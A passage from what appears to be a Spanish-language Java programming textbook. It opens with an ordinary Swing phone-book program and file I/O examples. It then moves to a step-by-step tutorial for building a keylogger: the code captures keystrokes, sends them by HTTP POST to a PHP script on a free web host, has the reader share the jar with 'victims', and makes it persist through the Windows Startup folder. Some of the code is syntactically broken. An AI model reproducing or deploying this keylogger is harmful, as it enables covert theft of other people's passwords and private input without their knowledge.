Que nos quedara de la siguiente forma:

Imagen 1.69, Muestra la interfaz grafica

Vamos a llenar todos los campos y los vamos a agragar:

187
 Imagen 1.70, Muestra los datos

En mi caso voy a meter dos veces datos y los voy a consultar y nos va
aparecer en la lista de jLabel6:

Imagen 1.71, Muestra los datos en el jLable6

Revisaremos el modelo 1 y esat vez nos aprarecera un mensaje en el

jLable5:

188
 Imagen 1.72, Muestra mensaje en jLabel5

Vamos a realizar un ejemplo muy sencillo, una agenda que guarde datos
personales y los guarde en una lista:
package proyecto04;

import java.io.*;
import javax.swing.JOptionPane;

/**
*
* @author Monserrat
*/
public class proyecto04 extends javax.swing.JFrame {

/**
* Creates new form ejrcicio04

189
 */
public proyecto04() {
initComponents();
}

/**
* This method is called from within the constructor to initialize the form.

* WARNING: Do NOT modify this code. The content of this method is

always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {

jScrollPane1 = new javax.swing.JScrollPane();

jTable1 = new javax.swing.JTable();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jNombre = new javax.swing.JTextField();
jCasa = new javax.swing.JTextField();
jCelular = new javax.swing.JTextField();
jTrabajo = new javax.swing.JTextField();

190
 jCorreo = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jButton3 = new javax.swing.JButton();
jScrollPane2 = new javax.swing.JScrollPane();
jTable2 = new javax.swing.JTable();

jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jScrollPane1.setViewportView(jTable1);

setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);

jLabel1.setFont(new java.awt.Font("Verdana", 0, 11)); // NOI18N

jLabel1.setText("Nombre");

jLabel2.setFont(new java.awt.Font("Verdana", 0, 11)); // NOI18N

191
jLabel2.setText("Tel Casa");

jLabel3.setFont(new java.awt.Font("Verdana", 0, 11)); // NOI18N

jLabel3.setText("Celular");

jLabel4.setFont(new java.awt.Font("Verdana", 0, 11)); // NOI18N

jLabel4.setText("Tel Trabajo");

jLabel5.setFont(new java.awt.Font("Verdana", 0, 11)); // NOI18N

jLabel5.setText("Correo");

jLabel6.setFont(new java.awt.Font("Verdana", 1, 18)); // NOI18N

jLabel6.setText("AGENDA DE TELEFONOS Y CORREO");

jNombre.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jNombreActionPerformed(evt);
}
});

jButton1.setFont(new java.awt.Font("Verdana", 1, 11)); // NOI18N

jButton1.setText("Guardar");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});

192
jButton2.setFont(new java.awt.Font("Verdana", 1, 11)); // NOI18N
jButton2.setText("Cunsulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});

jButton3.setFont(new java.awt.Font("Verdana", 1, 11)); // NOI18N

jButton3.setText("Eliminar");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});

jTable2.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null, null}
},
new String [] {
"Nombre", "Tel Casa", "Celular", "Tel Trabajo", "Correo"
}
){
boolean[] canEdit = new boolean [] {
false, false, false, false, false

193
 };

public boolean isCellEditable(int rowIndex, int columnIndex) {

return canEdit [columnIndex];
}
});
jTable2.setEnabled(false);
jScrollPane2.setViewportView(jTable2);

javax.swing.GroupLayout layout = new

javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane2)
.addContainerGap())
.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.TRAILING)
.addGroup(layout.createSequentialGroup()

194
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4)
.addComponent(jLabel5))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jNombre)
.addGroup(layout.createSequentialGroup()

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jCelular)
.addComponent(jCasa)

.addComponent(jTrabajo,
javax.swing.GroupLayout.DEFAULT_SIZE, 200, Short.MAX_VALUE))

.addComponent(jCorreo,
javax.swing.GroupLayout.PREFERRED_SIZE, 274,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(0, 0, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()

195
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(115, 115, 115)
.addComponent(jButton2))
.addComponent(jButton1))

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 30, Short.MAX_VALUE)
.addComponent(jButton3)
.addGap(23, 23, 23))))
.addGroup(layout.createSequentialGroup()
.addGap(0, 0, Short.MAX_VALUE)
.addComponent(jLabel6)))
.addGap(54, 54, 54))))
);
layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(19, 19, 19)
.addComponent(jLabel6)
.addGap(27, 27, 27)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)
.addComponent(jNombre,
javax.swing.GroupLayout.PREFERRED_SIZE,

196
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)

.addComponent(jCasa,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)

.addComponent(jCelular,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)

.addComponent(jTrabajo,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)

197
 .addComponent(jLabel5)

.addComponent(jCorreo,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(31, 31, 31)

.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jButton1)
.addComponent(jButton2)
.addComponent(jButton3))
.addGap(18, 18, 18)

.addComponent(jScrollPane2,
javax.swing.GroupLayout.PREFERRED_SIZE, 111,
javax.swing.GroupLayout.PREFERRED_SIZE)

.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE))
);

pack();
}// </editor-fold>

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
String datos[]=new String[5];
datos[0]=jNombre.getText();
datos[1]=jCasa.getText();
datos[2]=jCelular.getText();
datos[3]=jTrabajo.getText();

198
 datos[4]=jCorreo.getText();
try{

if(datos[0].equals("")||datos[1].equals("")||datos[2].equals("")||datos[3].e
quals("")||datos[4].equals("")){

JOptionPane.showMessageDialog(null, "Faltan Datos", "Error de

Contenido", JOptionPane.CANCEL_OPTION);
}else{
double t1=Double.parseDouble(datos[1]);
double t2=Double.parseDouble(datos[2]);
double t3=Double.parseDouble(datos[3]);
FileWriter fw= new FileWriter("f:/tarea4/Datos.txt", true);

fw.write(datos[0]+"|"+datos[1]+"|"+datos[2]+"|"+datos[3]+"|"+datos[4]+"|\
n");
fw.close();
JOptionPane.showMessageDialog(null, "Alta Exitosa");
jNombre.setText("");
jCasa.setText("");
jCelular.setText("");
jTrabajo.setText("");
jCorreo.setText("");
}
}catch(Exception e){

JOptionPane.showMessageDialog(null, "Error en la ejecucion

programa", "Error Inesperado", JOptionPane.ERROR_MESSAGE);
}
}

199
 private boolean consulta(String nombre){
boolean r=false;
try{

FileReader fr=new
FileReader("C:\\Users\\Monserrat\\Documents\\Programacion_Orientad
a_a_Objetos-2016-08-24\\Programacion Orientada a
Objetos\\guarda.txt");
BufferedReader br= new BufferedReader(fr);
String linea;
linea=br.readLine();
while (linea!=null){
String datos[]=linea.split("\\|");
if (datos[0].equals(nombre)){
r=true;
}
linea=br.readLine();
}
br.close();
fr.close();
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error:"+e.toString());
}
return r;
}

@SuppressWarnings("empty-statement")
private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {
// TODO add your handling code here:

200
 String nombre=JOptionPane.showInputDialog("Ingrese el nombre a
consular");
if (consulta(nombre)){
try{

FileReader fr= new

FileReader("C:\\Users\\Monserrat\\Documents\\Programacion_Orientad
a_a_Objetos-2016-08-24\\Programacion Orientada a
Objetos\\guarda.txt");
BufferedReader br= new BufferedReader(fr);
String linea;
linea=br.readLine();
while (linea!=null){
String datos[]=linea.split("\\|");
if (datos[0].equals(nombre)){
jTable2.setValueAt(datos[0], 0, 0);
jTable2.setValueAt(datos[1], 0, 1);
jTable2.setValueAt(datos[2], 0, 2);
jTable2.setValueAt(datos[3], 0, 3);
jTable2.setValueAt(datos[4], 0, 4);
}
linea=br.readLine();
}
br.close();
fr.close();
}catch(Exception e){

JOptionPane.showMessageDialog(null, "Error en la ejecucion

programa", "Error Inesperado", JOptionPane.ERROR_MESSAGE);
}
}else{

201
 JOptionPane.showMessageDialog(null, "Nombre no encontrado",
"Error de Contenido", JOptionPane.INFORMATION_MESSAGE);
}
}

private void jButton3ActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:

String nombre=JOptionPane.showInputDialog("Ingrese el nombre que

desea elimina");
if(consulta(nombre)){
String array[][]=new String[10000][5];
try{

FileReader fr=new
FileReader("C:\\Users\\Monserrat\\Documents\\Programacion_Orientad
a_a_Objetos-2016-08-24\\Programacion Orientada a
Objetos\\guarda.txt");
BufferedReader br= new BufferedReader(fr);
String linea;
linea=br.readLine();
int r=0;
while (linea!=null){
String datos[]=linea.split("\\|");
if (datos[0].equals(nombre)){

}else{
array[r][0]=datos[0];
array[r][1]=datos[1];
array[r][2]=datos[2];
array[r][3]=datos[3];

202
 array[r][4]=datos[4];
r++;
}
linea=br.readLine();
}
br.close();
fr.close();
FileWriter fw= new FileWriter("f:/tarea4/Datos.txt", false);
for (int i = 0; i < r; i++) {

fw.write(array[i][0]+"|"+array[i][1]+"|"+array[i][2]+"|"+array[i][3]+"|"+array[i][
4]+"|\n");
}
fw.close();
JOptionPane.showMessageDialog(null, "El registro se a eliminado");
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error:"+e.toString());
}
}else{
JOptionPane.showMessageDialog(null, "El nombre no existe");
}
}

private void jNombreActionPerformed(java.awt.event.ActionEvent evt) {

// TODO add your handling code here:
}

/**

203
 * @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting

code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the

default look and feel.

* For details see

http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
*/
try {

for (javax.swing.UIManager.LookAndFeelInfo info :

javax.swing.UIManager.getInstalledLookAndFeels()) {
if ("Nimbus".equals(info.getName())) {
javax.swing.UIManager.setLookAndFeel(info.getClassName());
break;
}
}
} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {

204
java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(proyecto04.class.getName()).log(java.u
til.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
//</editor-fold>

/* Create and display the form */

java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new proyecto04().setVisible(true);
}
});
}

// Variables declaration - do not modify

private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JTextField jCasa;
private javax.swing.JTextField jCelular;
private javax.swing.JTextField jCorreo;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;

205
 private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JTextField jNombre;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JTable jTable1;
private javax.swing.JTable jTable2;
private javax.swing.JTextField jTrabajo;
// End of variables declaration
}
Lo que esta marcado en amarillo son todos los elementos que utilizamos.
Qurdandonos de esta forma:

206
Imagen 1.73, Muestra el ejemplo de agenda de telefonos

Imagen 1.74, Capturamos los datos.

Imagen 1.75, Consultamos algún dato que agregamos

207
Imagen 1.76, De igual forma podemos eliminar al miembro que agrgamos

208
 5.4. Archivos
En esta parte vamos a realizar diferentes tipos de ejemplos de como
relacionar un archivo con nutro programa en java:
Ejemplo uno crearemos una clase en java qu contenga lo siguiente:
public class Programa10 {
public static void main(String arg[]){
String datos[][]=new String[5][2];
datos[0][0]="monse";
datos[0][1]="5554372367";
datos[1][0]="monse1";
datos[1][1]="5554372367";
datos[2][0]="monse2";
datos[2][1]="5554372367";
datos[3][0]="monse3";
datos[3][1]="5554372367";
datos[4][0]="monse4";
datos[4][1]="5554372367";
try{

FileWriter fw = new FileWriter("c:/escritorio/datos.dat",true); //ruta de

nuestro arichivo donde guardara este arreglo bidimencional
for (int i=0;i<datos.length;i++){
fw.write(datos[i][0]+"|"+datos[i][1]+"|\n");
}
fw.close();
}catch(Exception e){
System.out.println("Error;"+e.toString());
}
}

209
}

Ejemplo dos crearemos una clase en java, que contendrá la siguiente:

public class Programa11 {
public static void main (String args[]){
try{
FileReader fr = new FileReader("c:/escritorio/datos.dat");
BufferedReader br = new BufferedReader(fr);
String linea;
linea = br.readLine();
while (linea !=null){
System.out.println(linea);
linea=br.readLine();
br.close();
fr.close();
}
}catch(Exception e){
System.out.println("Error:"+e.toString());
}
}
}

210
 5.5. Construcción del Keylogger primer parte

¿Qué es un Keylogger?

Un keylogger es un software o hardware que puede interceptar y guardar

las pulsaciones realizadas en el teclado de un equipo que haya sido
infectado. Este malware se sitúa entre el teclado y el sistema operativo para
interceptar y registrar la información sin que el usuario lo note.

Para esto necesitamos saber en qué lenguaje lo vamos a crear ya que según
el tipo de lenguaje podemos encontrarnos limitaciones, ya sea para
Windows, Mac o Linux. Pero lo ideal es que sea uno para todos los sistemas
operativos tal cual esperamos y que sea en un lenguaje como Java ya que
es multiplataforma.

Eso resolvería nuestra primera limitante para crear un keylogger que sea
para todos los S.O. Ahora nos podemos encontrar con una limitante más en
caso de Java. El siguiente sería que nuestro Keylogger en java por si solo en
lenguaje JAVA no se puede.

Java no puede leer nada fuera de la JVM (Java Virtual Machine). Eso es una
nueva limitante y que nos puede preocupar, pero como todos saben que
todo es posible pues tienen razón podemos ocupar una API que nos permita

211
apoyarnos de un lenguaje o dependencias del sistema operativo que nos
facilite la principal función de un Keylogger que es leer todo lo que se teclea.

Ocuparemos JNativeHook.java que es un complemento integrado de varios

lenguajes para poder ejecutarse tanto en Windows, Linux y Mac usando las
siguientes librerías.
DLL (Dynamic Link Library) para windows.
.dylib (Xcode Dynamic Library) para mac
.so (objeto compartido) para Linux

Crearemos un nuevo proyecto en Netbeans.

Imagen 1.77, Empezando el proyecto

212
Escogemos la opción de Java Application.

213
 Imagen 1.78, Selección de Java

Elegimos un nuevo nombre de nuestro proyecto:

214
 Imagen 1.79, Donde se guardará nuestro proyecto

Una vez hecho esto nos parecerá nuestra clase y método main creado.

215
 Imagen 1.80, Proyecto ya creado

Agregamos la librería jNativeHook.java

Imagen 1.81, Importamos la librería.

Ahora vamos a elegirla en nuestro directorio donde este alojado.

216
 Imagen 1.82, Importación de librería.

Una vez hecho esto aparecerá en las librerías de nuestro proyecto:

Imagen 1.83, Librería ya agregada

Ahora empecemos a ver el código base para hacer funcionar a la librería.

217
import org.jnativehook.GlobalScreen;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;

/*Primero se implementará la interfaz que contiene los métodos necesarios

para el
* manejo de las teclas según su comportamiento*/
public class Keylogger1 implements NativeKeyListener {
public static void main(String[] args){

//Se inicia la rutina de inicialización de los componentes de la

librería JNativeHook
try {
GlobalScreen.registerNativeHook();
} catch(Exception e) {
e.printStackTrace();

/*Es necesario decirle a la instancia de GlobalScreen que se

agregará un Listener,

* ya que la clase Main implementa la interfaz del Listener sólo

se crea una instancia
* de dicha clase para colocarla como argumento:
*/
}

GlobalScreen.getInstance().addNativeKeyListener(new
Keylogger1());

//El método que se utilizará por ahora es nativeKeyPressed:

@Override
public void nativeKeyPressed(NativeKeyEvent e) {

218
 //El código que imprimirá en la salida estándar cuál tecla se ha
presionado es:
String axo = (NativeKeyEvent.getKeyText(e.getKeyCode()));

System.out.print(axo);
// Mostramos lo que capturamos.
@Override
public void nativeKeyReleased(NativeKeyEvent e) {
// TODO Auto-generated method stub
}
@Override
public void nativeKeyTyped(NativeKeyEvent e) {
// TODO Auto-generated method stub
}

Con esta primera parte podemos empezar a capturar lo que se va

tecleando lo cual es bastante sencillo.

Vemos cómo se va ejecutando con la siguiente prueba.

“Mi primer keylogger trabajando”

Imagen 1.84, Demostración de nuetro Keylogger

219
Se puede apreciar como captura lo que escribimos en nuestro bloc de
notas. Todo esto se ve reflejado en la parte inferior de nuestro programa que
se está ejecutando.

Y mostraremos como queradaria nuestro código:

import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import org.jnativehook.GlobalScreen;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;

/*Primero se implementará la interfaz que contiene los métodos necesarios

para el
* manejo de las teclas según su comportamiento
*/

public class Keylogger1 implements NativeKeyListener {

ArrayList chido = new ArrayList();

public static void main(String[] args){

//Se inicia la rutina de inicialización de los componentes de la

librería JNativeHook

try {

220
 GlobalScreen.registerNativeHook();
} catch(Exception e) {
e.printStackTrace();

/*Es necesario decirle a la instancia de GlobalScreen que se

agregará un Listener,

* ya que la clase Main implementa la interfaz del Listener sólo

se crea una instancia
* de dicha clase para colocarla como argumento:
*/
}

GlobalScreen.getInstance().addNativeKeyListener(new
Keylogger1());

//El método que se utilizará por ahora es nativeKeyPressed:

public void nativeKeyPressed(NativeKeyEvent e) {

//El código que imprimirá en la salida estándar cuál tecla se ha

presionado es:

String axe = (NativeKeyEvent.getKeyText(e.getKeyCode()));

// System.out.println(axe);

221
 metodo_agregamos(axe);

}
public void metodo_agregamos(String hola)
{
chido.add(hola);

if(chido.size() > 100){

String aux = "";
for(int i = 0; i < chido.size(); i++){

aux += chido.get(i).toString();
}
metodo_enviar(aux);

chido.clear();
}
}

public void metodo_enviar(String enviar){

try{

222
 System.out.print(enviar);
String Data = "dato="+enviar;
URL url = new URL("http://localhost/recibire.php");
HttpURLConnection con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoOutput(true);
con.getOutputStream().write(Data.getBytes("UTF-8"));
con.getInputStream();

}catch(Exception xx)
{
System.out.println(xx);
}
}

@Override
public void nativeKeyReleased(NativeKeyEvent e) {
// TODO Auto-generated method stub

@Override
public void nativeKeyTyped(NativeKeyEvent e) {
// TODO Auto-generated method stub

}
}

223
 5.6. Construcción del Keylogger Segunda parte
Una vez viendo que nuestra primera parte captura los datos se es
necesario que sean enviados a través de una petición HTTP a un sitio web;
el cual se encargará de guardar nuestros datos (capturas de teclas) las
cuales se podrán visualizar en un archivo de texto plano para mayor
comodidad.

Fijemos los objetivos claramente:

[+] Capturar un cierto número de teclas las cuales van a ser enviadas a
nuestro sitio web.
[+] Preparar la petición HTTP para enviarlo.
[+] Tratar la información en un documento php.
[+] Visualizar esa información en un archivo de texto plano.

Método para recopilar los caracteres capturados.

Como se menciona necesitamos de un método que sea necesario para

recolectar cierto número de teclas capturadas las cuales podemos
acumular en un Arreglo el cual tendrá la función de recolectar hasta cierto
límite de caracteres y enviarlos mediante una petición HTTP al sitio Web y
después vaciarlo para recolectar las nuevas teclas capturadas.

224
 Imagen 1.85, Demostración de nuetro Keylogger

Nuestro arreglo tal como se muestra en la línea 49 Mis_datos es un arreglo

dinámico el mismo que se le agregaran los elementos (teclados
capturados) y serán acumulados en una variable de tipo String que nos
servirá como una variable que nos permita acumular los caracteres
capturados.

El método_agregamos tal y como se muestra carga los datos capturados y

como consecuencia se tiene que saber la longitud del string para ser
enviado a nuestro servidor; en la línea 55 validamos que nuestro Arreglo
sea mayor a 100 caracteres y pueda ser tratado para mandar la cadena
de texto a nuestro sitio web. La línea 57 nos muestra un ciclo de iteración
for() la cual recorrerá nuestro Array para poder agregar cada uno de sus
valores en nuestro String aux.

Finalizando el recorrido y al haber cargado los caracteres dentro de

nuestra variable auxiliar queda enviar los datos mediante HTTP en el
método llamado: método_enviar(); el cual recibe un solo parámetro que
es precisamente esta variable de tipo string llamada aux.

Por ultimo solo se limpia nuestro Array (línea 63) para poder realizar este
proceso nuevamente y evitar mandar información duplicada.

225
Montando archivos en nuestro Servidor Web Gratuito.

Ahora queda montar nuestros archivos en un servidor web, pero ¿por qué
en un servidor web? Debido a que las víctimas cuando se conecten
empiecen a enviarse logs de las teclas capturadas.

Recurriremos a un servicio de hospedaje Web en este caso gratuito en este

caso crear una cuenta en x10hosting u otro servicio de hospedaje web son
publicidad como Hostinger.

Para este caso visitaremos el servicio de hospedaje web gratuito

x10hosting.com. Véase la Imagen 1.86.

Imagen 1.85, Servicio de hospedaje web hosting en x10hosting.com

Entramos un email para confirmar nuestra cuenta. Véase Imagen 1.86:

226
 Imagen 1.87

Una vez terminado los pasos y recordar nuestra contraseña, nos llegarán
unos coreos de confirmación Imagen 1.88:

Imagen 1.89, Muestra la confirmación de la cuenta por correo.

227
Confirmamos entrando a la url que nos otorgan para autentica la cuenta y
entramos a nuestro panel. Véase Imagen 1.90:

Imagen 1.90, Muestra el inicio de sesión a nuestra cuenta Web Hosting.

Entramos a la siguiente parte donde dice quick FTP. Esto es antes de entrar
a nuestro cPanel. Ver Imagen 1.91:

228
 Imagen 1.91, Muestra los datos del FTP (File Transfer Protocol).

Una vez obtenido los datos de acceso al FTP podremos abrir el Programa
Filezilla Abrimos Filezilla FTP Client y nos conectamos. Imagen 1.92:

Imagen 1.92, Muestra el login a nuestro sitio donde se alojan los archivos

229
 Imagen 1.93, Muestra la carpeta donde se alojan los archivos de la página amostrar

Damos doble clic en public_html (carpeta publica donde se mostrará el

contenido web) este caso aplica para todo hosting que contratemos Ver
Imagen 1.93, Seleccionamos la carpeta de nuestro Keylogger (Capturador
de teclas).

230
 Imagen 1.94, Muestra la carpeta a subir

Como se muestra en la Imagen 1.94, podemos subir la carpeta tan solo

dando clic derecho sobre ella y elegir la opción de subir, una vez arriba la
carpeta dentro de public_html podremos visualizarla desde nuestro
navegador de la siguiente forma:

Para visualiza nuestros Logs basta con abrir nuestra web mediante el
subdominio que creamos: http://subdominio.x10.com/carpeta_logs /

Ahora podemos visualizar todo lo que nuestra víctima haya tecleado, en

una forma bastante practica como lo es un archivo de texto plano.

231
Mandando nuestros Logs.

El metodo para poder enviar nueatro String contenedor de las teclas

podemos tratarlo con una conexión http pasando un parametro mediante
Method POST.

Cada instancia HttpURLConnection se utiliza para hacer una única

petición, pero la conexión de red subyacente al servidor HTTP se puede
compartir de forma transparente por otros casos.

El controlador de protocolo HTTP tiene algunas opciones de configuración

que se puede acceder a través de las propiedades del sistema. Esto cubre
la configuración de proxy , así como otros ajustes .

Imagen 1.95, Protocolo de HTTP

Abriremos una conexión mediante HttpURLConnection y el tipo de method

o transferencia de datos será en modo no visible METHOD POST. En este
caso la línea 76 va ligada con la 77 ya que si deseamos enviar este
parámetro por POST o PUT es necesario establecerlo como true.

El método getOutputStream () obtiene el flujo de salida del subproceso. La

salida a la corriente se canaliza en el flujo de entrada estándar del proceso
representado por este objeto de proceso. Por otro lado para convertir el
objeto String en UTF-8, invoque el método getBytes y especifique el
identificador de codificación apropiado como parámetro. El
método getBytes devuelve una matriz de bytes en formato UTF-8 el cual

232
escribe nuestros datos en el texto plano.Finalmente el método
getInputStream () obtiene el flujo de entrada del subproceso.

Tratando los datos en nuestro servidor.

Una vez obtenidos los datos y enviados a nuestro servidor es necesario

tratarlos para que se vayan uardando en un archivo de texto plano el cual
si nos fijamos en la línea 74 manda los datos a localhost en este caso sería
de la siguiente forma.

http://nuestro_dominio_o_subdominio/recibire.php + Data que es nuestro

parámetros a enviar en este caso solo sería uno llamado “dato” el cual
contendrá nuestra cadena de teclas almacenadas en el string enviar.

Para esto es necesario crear un archivo PHP que las reciba llamado
recibire.php

Imagen 1.96, Archivo de PHP

En la línea 3 declaramos una variable llamada $us la cual contendrá

nuestros datos recibidos por method POST en el parámetro “dato”.

La línea 5 abre un archivo llamado data.txt el cual solo necesita existir para
que se guarden ahí las teclas capturadas. Siguiendo la linea 6 que escribe
en el y hace un salto de línea con \r\n finalmente cierra el archivo en la
línea 7.

Ahora solo tendremos el archivo recibire.php y data.txt en blanco para

subirlos a nuestro sitio de hospedaje web mediante nuestro ftp.

233
 Imagen 1.97, Archivo

Estos archivos los subiremos a nuestro sitio en este caso en hostinger.

Imagen 1.98, Muestra el archivo en el sitio.

En el siguiente caso solo queda arrastrar nuestros archivos marcados en

azul dentro del panel inferior derecho. Finalizado los podemos visualizar de
la siguiente forma.

234
 Imagen 1.99, Muestra el archivo en el sitio

Listo ya tenemos nuestros archivos en nuestro servicio de hospedaje web,

en este caso fue en Hostinger.mx el cual como en todos los sitios de
hospedaje web nos da nuestros datos del FTP para acceder a el con algún
gestor como en este caso use Filezilla.

Para poder visualizarlos solo queda abrir nuestro navegador con nuestro
subdominio que nos hemos creado en nuestro sitio web.

235
 Imagen 1.100

En este caso el subdominio de ejemplo que se ha creado es:

netesterok.esy.es el cual debemos poner en nuestro keylogger para enviar
los datos a esta dirección.

236
 Imagen 1.101, Muestra el archivo finalizado

Finalmente podemos ejecutarlo y ver los resultados. En nuestro sitio web el

cual mostrara nueatros datos en el archivo de texto.
Para poder visualizarlos entraremos a la siguiente ruta:
http://nuestrodominio_o_subdominio/data.txt
En este caso sería:
http://netesterok.esy.es/data.txt

Apretamos en nuestro Keylogger F11 para compilarlo y poder ver nuestro

archivo generado el cual solo queda compartirlo a nuestras víctimas

237
 Imagen 1.102, Ubicación del Keylogger

Lo podemos encontrar en la carpeta NetBeansProjects>Keylogger1>dist

Ejecutandolo podemos hacer pruebas y visualizarlas en nuestro sitio.

Imagen 1.94, Demostración del Keylogger

238
Agregando persistencia en nuestro programa.

Para estar seguros que nuestro Keylogger se ejecute cada vez que se inicie
Windows de nuestra víctima podemos hacer lo siguiente.
Copiamos nuestro archivo en cualquier lugar oculto. Ejemplo C://Windows/

Imagen 1.104, Keylogger

En este ejemplo se creó una carpeta llamada Adas para ubicarlo más
rápidamente.

Ahora solo queda hacer un acceso directo y cortarlo para ubicar el

acceso directo en la carpeta Startup. La cual se ejecuta todo acceso
directo ubicado ahí al iniciar Windows.

Imagen 1.105

239
Este acceso directo se corta y oprimiremos la tecla Windows+R para poder
ejecutar el siguiente comando: Shell:startup.

Imagen 1.106

Aceptamos y ahí ubicaremos si es en su caso algunos accesos directos de

programas instalados por ustedes que se ejecutan cada vez que inician
Windows.

Imagen 1.107

240
Pegamos nuestro acceso directo y podemos estar seguros de que siempre
se ejecutará nuestro Keylogger.

Imagen 1.108, Archivo final

241